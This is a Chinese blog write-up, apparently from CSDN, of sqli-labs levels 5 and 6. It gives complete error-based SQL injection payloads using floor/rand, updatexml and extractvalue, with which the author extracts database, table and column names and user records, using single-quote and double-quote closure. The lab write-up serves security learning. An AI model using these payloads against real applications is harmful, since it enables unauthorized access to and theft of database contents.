sqlilab闯关记(5-6)

本文详细描述了在没有回显的情况下,通过盲注技术进行报错注入的方法,包括使用floor报错、updatexml报错和extractvalue报错获取数据库名、表名和数据。着重讲解了第五关和第六关中针对不同闭合方式的数据获取策略。
摘要由CSDN通过智能技术生成

先上图,图是网上找的,学习记录用,如果造成作者的困扰,请联系删除

盲注步骤思维导图

第五关:

首先,通过输入正确的id=1得到 YOU ARE IN ..........。这就告诉我们没有回显,所以只能通过盲注来解拿库里数据了。正如网上建议,报错>布尔>时间

1、通过输入 id=1’ 得到报错,可知闭合方式选择 单引号。且有报错,可以利用报错得到我们想要的。

2、继续 id = 1' --+ 不报错。可以确定是单引号闭合了。

3、方法一、floor报错注入:?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(database())))--+ 拿到当前数据库名。

  后面就是拼接取数了。

直接?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))--+拿表名

?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select group_concat(username) from users)))--+拿字段名

?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select group_concat(username) from users)))--+;这样拿值报“子查询返回的行数大于1”。很奇怪。

所以只能通过floor+limit拿值了。

?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(select username from users limit 0,1)))--+;通过floor+limit 依次拿值

当然floor报错有局限性,由于报错字符数量显示的问题,会导致库名或者表名显示不全的问题。

【web安全】——floor报错注入-CSDN博客:floor报错原理解析

方法二:updatexml报错

?id=-1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+;拿库

?id=-1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+ ; 子查询+limit 依次拿所有库名。(ps:不知为什么,通过group by 和 concat嵌套不可以一次性把库名输出,可能是语法问题把。)

?id=-1' and updatexml(1,concat(0x23,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x23),1)--+;拿表

后面就是拿数据都一样了。

方法三:extractvalue报错

?id=1' and extractvalue(1,concat(0x23,database(),0x23))--+;拿当前库名

总之,第五关就是虽然没有回显,但是有报错,我们可以通过报错,拿到数据。

第六关

双引号闭合;拿数据的方法跟第五关是一样的。
 

  • 19
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值